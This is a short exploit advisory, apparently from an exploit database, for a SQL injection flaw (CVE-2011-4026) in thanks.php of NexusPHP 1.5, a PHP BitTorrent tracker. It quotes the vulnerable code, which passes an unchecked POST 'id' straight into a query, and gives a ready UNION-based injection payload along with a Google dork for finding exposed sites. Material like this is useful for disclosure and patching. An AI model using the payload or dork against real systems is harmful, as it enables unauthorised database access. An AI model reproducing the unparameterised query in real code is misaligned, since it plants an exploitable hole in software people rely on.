NexusPHP 1.5 - SQL Injection

# Exploit Title: Nexusphp.v1.5 SQL injection Vulnerability

# Google Dork: intitle:nexusphp

# Date: 2011-10-08

# Author: flyh4t

# Software Link: http://sourceforge.net/projects/nexusphp/

# Version: nexusphp.v1.5

# Tested on: linux+apache

# CVE : CVE-2011-4026





Nexusphp is BitTorrent private tracker scripts written in PHP 

The codes is here http://sourceforge.net/projects/nexusphp/

There is a sql injectiong Vulnerability in thanks.php.

 

-----------------------vul code-------------------

//thanks.php

if ($_GET['id'])

 stderr("Party is over!", "This trick doesn't work anymore. You need to click the button!");

$userid = $CURUSER["id"];

$torrentid = $_POST["id"];

$tsql = sql_query("SELECT owner FROM torrents where id=$torrentid");

$arr = mysql_fetch_array($tsql);

-----------------------vul code end-------------------

 

 $_POST["id"] is not checked, lead a sql injection Vulnerability



-----------------------exploit-------------------



_POST[id] : -1 union select version()>4/*



-----------------------exploit end -------------------